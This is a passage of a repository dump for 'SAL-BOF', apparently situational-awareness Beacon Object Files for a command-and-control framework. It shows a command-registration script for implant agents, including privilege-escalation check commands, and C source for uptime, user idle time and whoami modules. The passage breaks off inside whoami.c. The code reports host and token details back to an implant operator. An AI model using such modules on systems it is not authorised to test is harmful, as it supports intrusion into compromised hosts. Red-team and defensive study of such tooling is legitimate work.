\"_bin/privcheck_all.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"PrivCheck: all checks\");\n});\nvar cmd_privcheck = ax.create_command(\"privcheck\", \"Perform privilege escalation checks\");\ncmd_privcheck.addSubCommands([_cmd_privcheck_all, _cmd_privcheck_alwayselevated, _cmd_privcheck_autologon, _cmd_privcheck_credmanager, _cmd_privcheck_hijackablepath, _cmd_privcheck_modautorun, _cmd_privcheck_modsvc, _cmd_privcheck_tokenpriv, _cmd_privcheck_unattendfiles, _cmd_privcheck_unquotedsvc, _cmd_privcheck_pshistory, _cmd_privcheck_uacstatus, _cmd_privcheck_vulndrivers]);\n\nvar cmd_routeprint = ax.create_command(\"routeprint\", \"List IPv4 routes\", \"routeprint\");\ncmd_routeprint.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/routeprint.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: route\");\n});\n\nvar cmd_uptime = ax.create_command(\"uptime\", \"List system boot time and how long it has been running\", \"uptime\");\ncmd_uptime.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/uptime.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: uptime\");\n});\n\nvar cmd_useridletime = ax.create_command(\"useridletime\", \"Shows how long the user as been idle, displayed in seconds, minutes, hours and days\", \"useridletime\");\ncmd_useridletime.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/useridletime.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: useridletime\");\n});\n\nvar cmd_whoami = ax.create_command(\"whoami\", \"List whoami /all, hours and days\", \"whoami\");\ncmd_whoami.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/whoami.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: whoami /all\");\n});\n\nvar group_test = ax.create_commands_group(\"SAL-BOF\", [cmd_arp, cmd_cacls, cmd_dir, cmd_env, cmd_ipconfig, cmd_listdns, cmd_netstat, cmd_nslookup, cmd_privcheck, cmd_routeprint, cmd_uptime, cmd_useridletime, cmd_whoami]);\nax.register_commands_group(group_test, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);\n"
  },
  {
    "path": "SAL-BOF/uptime/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/uptime/uptime.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\n\n#ifdef __x86_64__\nvoid printUptime64() {\n\t// Counts millisecond ticks since last boot\n\tULONGLONG ticks = KERNEL32$GetTickCount64();\n\n\tULONGLONG seconds = ticks/1000;\n\tULONGLONG minutes = seconds/60;\n\tULONGLONG hours =   minutes/60;\n\tULONGLONG days =\thours/24;\n\n\tinternal_printf(\"Uptime: %lld days, %lld hours, %lld minutes, %lld seconds\\n\", \n\t\tdays, hours % 24, minutes % 60, seconds % 60);\n\n\t// MSDN recommends converting SysTime->FileTime before doing arithmetic\n\tSYSTEMTIME curTime = {0};\n\tFILETIME curFTime = {0};\n\tULARGE_INTEGER utime;\n\tKERNEL32$GetLocalTime(&curTime);\n\tinternal_printf(\"Local time: %4d-%.2d-%.2d %.2d:%.2d:%.2d\\n\", curTime.wYear, curTime.wMonth, \n\t\t\tcurTime.wDay, curTime.wHour, curTime.wMinute, curTime.wSecond);\n\n\tKERNEL32$SystemTimeToFileTime(&curTime, &curFTime);\n\tmemcpy(&utime, &curFTime, sizeof(utime));\n\tutime.QuadPart -= ticks * 10000;\n\n\tmemcpy(&curFTime, &utime, sizeof(utime));\n\tKERNEL32$FileTimeToSystemTime(&curFTime, &curTime);\n\tinternal_printf(\"Boot time: %4d-%.2d-%.2d %.2d:%.2d:%.2d\\n\", curTime.wYear, curTime.wMonth, \n\t\t\tcurTime.wDay, curTime.wHour, curTime.wMinute, curTime.wSecond);\n}\n#endif\n\nvoid printUptime32() {\n\t// Counts millisecond ticks since last boot\n\tDWORD ticks = KERNEL32$GetTickCount();\n    \n\tDWORD seconds = ticks/1000;\n\tDWORD minutes = seconds/60;\n\tDWORD hours =   minutes/60;\n\tDWORD days =\thours/24;\n\n\tinternal_printf(\"Uptime: %ld days, %ld hours, %ld minutes, %ld seconds\\n\", \n\t\tdays, hours % 24, minutes % 60, seconds % 60);\n}\n\nVOID go(\n\tIN PCHAR Buffer,\n\tIN ULONG Length\n)\n{\n\tif (!bofstart())\n\t{\n\t\treturn;\n\t}\n#ifdef __x86_64__\n\tprintUptime64();\n# else \n\tprintUptime32();\n#endif\n\tprintoutput(TRUE);\n\tbofstop();\n};\n"
  },
  {
    "path": "SAL-BOF/useridletime/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/useridletime/useridletime.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\nvoid userIdletime() {\n\tLASTINPUTINFO lii = {0};\n    DWORD tickCount = 0, idleTime = 0;\n\n\n    lii.cbSize = sizeof(LASTINPUTINFO);\n\n    if (USER32$GetLastInputInfo(&lii)) {\n        tickCount = KERNEL32$GetTickCount();\n        idleTime = (tickCount - lii.dwTime) / 1000; // Convert to seconds\n\t\tDWORD seconds = idleTime % 60;\n\t\tDWORD minutes = (idleTime / 60) % 60;\n\t\tDWORD hours = (idleTime / 3600) % 24;\n\t\tDWORD days = idleTime / 86400;\n\n\t\tinternal_printf(\"Current User idle time: %lu days, %lu hours, %lu minutes, %lu seconds\",days, hours, minutes, seconds);\n    } else {\n        internal_printf(\"Failed to retrieve last user idle time\");\n    }\n}\n\n#pragma comment(lib, \"wtsapi32.lib\")\n\n\n\nVOID go(\n\tIN PCHAR Buffer,\n\tIN ULONG Length\n)\n{\n\tif (!bofstart())\n\t{\n\t\treturn;\n\t}\n\tuserIdletime();\n\tprintoutput(TRUE);\n\tbofstop();\n};"
  },
  {
    "path": "SAL-BOF/whoami/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/whoami/whoami.c",
    "content": "#include <windows.h>\n#define SECURITY_WIN32\n#include <security.h>\n#include <sddl.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\ntypedef struct\n{\n    UINT Rows;\n    UINT Cols;\n    LPWSTR Content[1];\n} WhoamiTable;\n\nchar* WhoamiGetUser(EXTENDED_NAME_FORMAT NameFormat)\n{\n    char* UsrBuf = intAlloc(MAX_PATH);\n    ULONG UsrSiz = MAX_PATH;\n\n    if (UsrBuf == NULL)\n        return NULL;\n\n    if (SECUR32$GetUserNameExA(NameFormat, UsrBuf, &UsrSiz))\n    {\n        return UsrBuf;\n    }\n\n    intFree(UsrBuf);\n    return NULL;\n}\n\nVOID* WhoamiGetTokenInfo(TOKEN_INFORMATION_CLASS TokenType)\n{\n    HANDLE hToken = 0;\n    DWORD dwLength = 0;\n    VOID* pTokenInfo = 0;\n\n    if (ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_READ, &hToken))\n    {\n        ADVAPI32$GetTokenInformation(hToken,\n                            TokenType,\n                            NULL,\n                            dwLength,\n                            &dwLength);\n\n        if (KERNEL32$GetLastError() == ERROR_INSUFFICIENT_BUFFER)\n        {\n            pTokenInfo = intAlloc(dwLength);\n            if (pTokenInfo == NULL)\n            {\n                //printf(\"ERROR: not enough memory to allocate the token structure.\\r\\n\");\n                KERNEL32$CloseHandle(hToken);\n                return NULL;\n            }\n        }\n\n        if (!ADVAPI32$GetTokenInformation(hToken, TokenType,\n                                 (LPVOID)pTokenInfo,\n                                 dwLength,\n                                 &dwLength))\n        {\n            //printf(\"ERROR 0x%x: could not get token information.\\r\\n\", GetLastError());\n            KERNEL32$CloseHandle(hToken);\n            intFree(pTokenInfo);\n            return NULL;\n        }\n\n        KERNEL32$CloseHandle(hToken);\n    }\n\n    return pTokenInfo;\n}\n\n\nint WhoamiUser(void)\n{\n    PTOKEN_USER pUserInfo = (PTOKEN_USER) WhoamiGetTokenInfo(TokenUser);\n    char* pUserStr = NULL;\n    char* pSidStr = NULL;\n    WhoamiTable *UserTable = NULL;\n    int retval = 0;\n\n    if (pUserInfo == NULL)\n    {\n        retval = 1;\n        goto end;\n    }\n\n    pUserStr = WhoamiGetUser(NameSamCompatible);\n    if (pUserStr == NULL)\n    {\n        retval = 1;\n        goto end;\n    }\n\n    internal_printf(\"\\nUserName\\t\\tSID\\n\");\n    internal_printf(\"====================== ====================================\\n\");\n\n    ADVAPI32$ConvertSidToStringSidA(pUserInfo->User.Sid, &pSidStr);\n\n    internal_printf(\"%s\\t%s\\n\\n\", pUserStr, pSidStr);\n\n\n    /* cleanup our allocations */\n    end:\n    if(pSidStr){KERNEL32$LocalFree(pSidStr);}\n    if(pUserInfo){intFree(pUserInfo);}\n    if(pUserStr){intFree(pUserStr);};\n\n    return retval;\n}\n\nint WhoamiGroups(void)\n{\n    DWORD dwIndex = 0;\n    char* pSidStr = NULL;\n\n    char szGroupName[255] = {0};\n    char szDomainName[255] = {0};\n\n    DWORD cchGroupName  = _countof(szGroupName);\n    DWORD cchDomainName = _countof(szDomainName);\n\n    SID_NAME_USE Use = 0;\n\n    PTOKEN_GROUPS pGroupInfo = (PTOKEN_GROUPS)WhoamiGetTokenInfo(TokenGroups);\n    WhoamiTable *GroupTable = NULL;\n\n    if (pGroupInfo == NULL)\n    {\n        return 1;\n    }\n\n    /* the header is the first (0) row, so we start in the second one (1) */\n\n\n    internal_printf(\"\\n%-50s%-25s%-45s%-25s\\n\", \"GROUP INFORMATION\", \"Type\", \"SID\", \"Attributes\");\n    internal_printf(\"================================================= ===================== ============================================= ==================================================\\n\");\n\n    for (dwIndex = 0; dwIndex < pGroupInfo->GroupCount; dwIndex++)\n    {\n        if(ADVAPI32$LookupAccountSidA(NULL,\n                          pGroupInfo->Groups[dwIndex].Sid,\n                          (LPSTR)&szGroupName,\n                          &cchGroupName,\n                          (LPSTR)&szDomainName,\n                          &cchDomainName,\n                          &Use) == 0)\n        {\n            //If we fail lets try to get the next entry\n            continue;\n        }\n\n        /* the original tool seems to limit the list to these kind of SID items */\n        if ((Use == SidTypeWellKnownGroup || Use == SidTypeAlias ||\n            Use == SidTypeLabel || Use == SidTypeGroup) && !(pGroupInfo->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID))\n        {\n                char tmpBuffer[1024] = {0};\n\n            /* looks like windows treats 0x60 as 0x7 for some reason, let's just nod and call it a day:\n               0x60 is SE_GROUP_INTEGRITY | SE_GROUP_INTEGRITY_ENABLED\n               0x07 is SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED */\n\n            if (pGroupInfo->Groups[dwIndex].Attributes == 0x60)\n                pGroupInfo->Groups[dwIndex].Attributes = 0x07;\n\n            /* 1- format it as DOMAIN\\GROUP if the domain exists, or just GROUP if not */\n            MSVCRT$sprintf((char*)&tmpBuffer, \"%s%s%s\", szDomainName, cchDomainName ? \"\\\\\" : \"\", szGroupName);\n            internal_printf(\"%-50s\", tmpBuffer);\n\n            /* 2- let's find out the group type by using a simple lookup table for lack of a better method */\n            if (Use == SidTypeWellKnownGroup){\n                internal_printf(\"%-25s\", \"Well-known group \");\n            }\n            else if (Use == SidTypeAlias){\n                internal_printf(\"%-25s\", \"Alias \");\n            }\n            else if (Use == SidTypeLabel){\n                internal_printf(\"%-25s\", \"Label \");\n            }\n            else if (Use == SidTypeGroup) {\n                internal_printf(\"%-25s\", \"Group \");\n            }\n            /* 3- turn that SID into text-form */\n            if(ADVAPI32$ConvertSidToStringSidA(pGroupInfo->Groups[dwIndex].Sid, &pSidStr)){\n\n            //WhoamiSetTable(GroupTable, pSidStr, PrintingRow, 2);\n                internal_printf(\"%-45s \", pSidStr);\n\n                KERNEL32$LocalFree(pSidStr);\n                pSidStr = NULL;\n\n            }\n\n            /* 4- reuse that buffer for appending the attributes in text-form at the very end */\n            ZeroMemory(tmpBuffer, sizeof(tmpBuffer));\n\n            if (pGroupInfo->Groups[dwIndex].Attributes & SE_GROUP_MANDATORY)\n                internal_printf(\"Mandatory group, \");\n            if (pGroupInfo->Groups[dwIndex].Attributes & SE_GROUP_ENABLED_BY_DEFAULT)\n                internal_printf(\"Enabled by default, \");\n            if (pGroupInfo->Groups[dwIndex].Attributes & SE_GROUP_ENABLED)\n                internal_printf(\"Enabled group, \");\n            if (pGroupInfo->Groups[dwIndex].Attributes & SE_GROUP_OWNER)\n                internal_printf(\"Group owner, \");\n            internal_printf(\"\\n\");\n        }\n        /* reset the buffers so that we can reuse them */\n        ZeroMemory(szGroupName, sizeof(szGroupName));\n        ZeroMemory(szDomainName, sizeof(szDomainName));\n\n        cchGroupName = 255;\n        cchDomainName = 255;\n    }\n\n\n    /* cleanup our allocations */\n    intFree(pGroupInfo);\n\n    return 0;\n}\n\nint WhoamiPriv(void)\n{\n    PTOKEN_PRIVILEGES pPrivInfo = (PTOKEN_PRIVILEGES) 